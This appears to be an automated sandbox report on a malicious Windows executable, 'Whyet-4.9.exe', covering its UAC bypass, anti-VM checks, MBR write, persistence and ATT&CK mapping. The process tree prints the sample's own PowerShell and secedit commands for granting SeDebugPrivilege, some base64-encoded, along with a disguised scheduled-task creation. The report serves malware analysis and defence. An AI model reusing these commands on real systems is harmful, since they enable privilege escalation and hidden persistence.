Overview

overview

10

Static

static

1

Whyet-4.9.exe

windows7-x64

10

Whyet-4.9.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/12/2024, 15:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Whyet-4.9.exe
  • Size 20.2MB
  • Sample241229-sefa7stpfx
  • SHA256 38622c32cac325c68f2fbf7148255a9813e7caeb53e3b95ebea56a6da5cb22ba
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
bootkitdefense_evasiondiscoveryevasionexecutionpersistencetrojan

Malware Config

Signatures

  • UAC bypass 3 TTPs 3 IoCs
    evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 3 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

    execution
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\Whyet-4.9.exe
    "C:\Users\Admin\AppData\Local\Temp\Whyet-4.9.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1764
    • C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe
      "C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" __IRAOFF:5655410 "__IRAFN:C:\Users\Admin\AppData\Local\Temp\Whyet-4.9.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-2045521122-590294423-3465680274-1000"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Program Files directory
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"msmpeng.exe\"));
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3848
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"securityhealthsystray.exe\"));
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"mpcopyaccelerator.exe\"));
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4376
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"MpDefenderCoreService.exe\"));
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:216
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $mypid=(Get-WmiObject -Query 'select ParentProcessId from Win32_Process where ProcessId=4852').ParentProcessId;if($mypid){Stop-Process -Id $mypid -Force;}
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4072
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start "title" "C:\Users\Public\Documents\7HAMFT\s5p_kXb.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4316
        • C:\Users\Public\Documents\7HAMFT\s5p_kXb.exe
          "C:\Users\Public\Documents\7HAMFT\s5p_kXb.exe"
          4⤵
          • UAC bypass
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Adds Run key to start application
          • Checks whether UAC is enabled
          • Writes to the Master Boot Record (MBR)
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:2232
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -C "Set-Content -Value @('[Unicode]','Unicode=yes','[Version]','signature=\"$CHICAGO$\"','Revision=1','[Privilege Rights]','SeDebugPrivilege = *S-1-5-18','[File Security]','\"C:\ProgramData\Program\",0,\"D:AR(D;OICI;DTSDRCWD;;;WD)\"') -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.inf')) -Encoding Unicode; secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.*')) -Force;"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1280
            • C:\Windows\SysWOW64\SecEdit.exe
              "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.log /quiet
              6⤵
              • System Location Discovery: System Language Discovery
              PID:3988
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -C "Set-Content -Value @('[Unicode]','Unicode=yes','[Version]','signature=\"$CHICAGO$\"','Revision=1','[Privilege Rights]','SeDebugPrivilege = *S-1-5-18','[File Security]','\"C:\ProgramData\Data\",0,\"D:AR(D;OICI;DTSDRCWD;;;WD)\"') -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.inf')) -Encoding Unicode; secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.*')) -Force;"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1880
            • C:\Windows\SysWOW64\SecEdit.exe
              "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege3.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege3.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege3.log /quiet
              6⤵
              • System Location Discovery: System Language Discovery
              PID:3008
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -C "[IO.File]::WriteAllBytes([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.inf'), [Convert]::FromBase64String('//5bAFUAbgBpAGMAbwBkAGUAXQANAAoAVQBuAGkAYwBvAGQAZQA9AHkAZQBzAA0ACgBbAFYAZQByAHMAaQBvAG4AXQANAAoAcwBpAGcAbgBhAHQAdQByAGUAPQAiACQAQwBIAEkAQwBBAEcATwAkACIADQAKAFIAZQB2AGkAcwBpAG8AbgA9ADEADQAKAFsAUAByAGkAdgBpAGwAZQBnAGUAIABSAGkAZwBoAHQAcwBdAA0ACgBTAGUARABlAGIAdQBnAFAAcgBpAHYAaQBsAGUAZwBlACAAPQAgACoAUwAtADEALQA1AC0AMQA4AA0ACgA=')); secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.*')) -Force;"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2612
            • C:\Windows\SysWOW64\SecEdit.exe
              "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege4.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege4.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege4.log /quiet
              6⤵
              • System Location Discovery: System Language Discovery
              PID:3676
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -C "Set-Content -Value @('[Unicode]','Unicode=yes','[Version]','signature=\"$CHICAGO$\"','Revision=1','[Privilege Rights]','SeDebugPrivilege = *S-1-5-18','[File Security]','\"C:\ProgramData\Program\",0,\"D:AR(D;OICI;DTSDRCWD;;;WD)\"') -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.inf')) -Encoding Unicode; secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.*')) -Force;"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2704
            • C:\Windows\SysWOW64\SecEdit.exe
              "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.log /quiet
              6⤵
              • System Location Discovery: System Language Discovery
              PID:4316
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c echo.>c:\inst.ini
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2292
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c echo.>c:\inst.ini
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3020
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c schtasks.exe /create /tn "Windows Audio Endpoint Builder(ϵͳÒôƵ·þÎñ)" /xml "C:\ProgramData\Microsoft\MicrosoftNetFramework.xml
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4748
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks.exe /create /tn "Windows Audio Endpoint Builder(ϵͳÒôƵ·þÎñ)" /xml "C:\ProgramData\Microsoft\MicrosoftNetFramework.xml
              6⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:3400
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4528
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4912
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2380
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1084
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3400
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5112
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1020
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1152
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4368
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3364
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2264
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2976
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2368
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1020
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:708
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3832
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2180
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5112
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4440
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2352
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2764
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"s5p_kXb.exe\"));
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2312
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:1800

    Network

          MITRE ATT&CK Enterprise v15

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          1
          T1059

          PowerShell

          1
          T1059.001

          Scheduled Task/Job

          1
          T1053

          Scheduled Task

          1
          T1053.005

          Persistence

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Pre-OS Boot

          1
          T1542

          Bootkit

          1
          T1542.003

          Scheduled Task/Job

          1
          T1053

          Scheduled Task

          1
          T1053.005

          Privilege Escalation

          Abuse Elevation Control Mechanism

          1
          T1548

          Bypass User Account Control

          1
          T1548.002

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Scheduled Task/Job

          1
          T1053

          Scheduled Task

          1
          T1053.005

          Defense Evasion

          Abuse Elevation Control Mechanism

          1
          T1548

          Bypass User Account Control

          1
          T1548.002

          Impair Defenses

          1
          T1562

          Disable or Modify Tools

          1
          T1562.001

          Indicator Removal

          1
          T1070

          File Deletion

          1
          T1070.004

          Modify Registry

          3
          T1112

          Pre-OS Boot

          1
          T1542

          Bootkit

          1
          T1542.003

          Virtualization/Sandbox Evasion

          1
          T1497

          Credential Access

          Discovery

          Query Registry

          3
          T1012

          System Information Discovery

          4
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          Virtualization/Sandbox Evasion

          1
          T1497

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          MicrosoftNetFramework.xml
          • Path C:\ProgramData\Microsoft\MicrosoftNetFramework.xml
          • Size 3KB
          • SHA256 943f169c31c319417e61586d8911057321de04926e01e4cc3e6f57b3b032c28e
          • MD5 SHA1 SHA512
          Submit Download

          ziliao.jpg
          • Path C:\ProgramData\Microsoft\Program\ziliao.jpg
          • Size 221KB
          • SHA256 543c66b627f6b6380b0e6a4acd1fdd523051fee344dc059ded299f1cc2135b54
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
          • MD5 SHA1 SHA512
          Submit Download

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          • Size 1KB
          • SHA256 aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 a5c1a074417421c5c96b1655b1d3d667e2a3d94e8690053749d596f1319edec2
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 16KB
          • SHA256 265062673cbd91b60728bf48a3844e1e5e36cff48dee9daf3c3b413adbef59ef
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 8f161e4c74eb4ca15c0601ce7a291f3ee1dc0aa46b788181bfe1d33f2b099466
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 16KB
          • SHA256 cfbb14adbe8e0186dc46d4dfb26b838da4014a9931c364eebe104f6e3c5f7626
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 62208cc0ada5f210a34c84e0f2677e931f1e2854c2783c54485989344a480000
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 17a57477f496c298cf625d7ede7882e77bfb2ed6b78cefec0933a8eec0fce8dc
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 dc8d7931951e0b50bdd63b607d357a1b26a8fcb04274b3e8c9ba7395c91002d7
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 f1a2de3d06fea09450f785b6746c54aaa5576fd844a42f95bd6776cf6105109f
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 755daf72f2f5e983abb009c3b1eef4c7c660999f5ff581545bbcae7088c17c69
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 12a7937c350f340217208627cfc7641db94bda30a2b55a7ad9901dedc1499bff
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 a4ca0c6358d00f4419c9785dbdab7ff1837131ebde04f1b6e8a0cc0678993551
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 48e0929332b6cb66c8c1499b842dd425dc80d8d6c05a284bc8b48ff6886d3cdf
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 f6acd028779efe8b7707ee83865b80370675a974b1f9ace5d45d99fab7d223d0
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 3c49dad539478bddc97b1c3022a9427a9ee049c6cc497ca6edad984d1d5dd816
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 1b9a2714ecfaf4b2e7d7961d5f2537ea360ad0df46a0fa789255235b077075d1
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 92a4b67ac7b67400cf19d112d1bf4ddd6be90f10e55fc26a8388272d1bbee7a5
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 148d38e73ac19cc0e44fb1315556ac16b329aaddb64ab87f5c7e7cdbc2a8d7b6
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 eed92fc7f6c9f9f65adbb55563fac59b68dc7c70fcf3494b4c8c2ac6caf00795
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 c3e9384732c89e80e7a4da2deea2786ffd62d500e1adc8a414216b7bd752d80a
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 b04c4b7a66631b08c4dc43d02b15975ba7796aff9af38206ab5195efeab07490
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
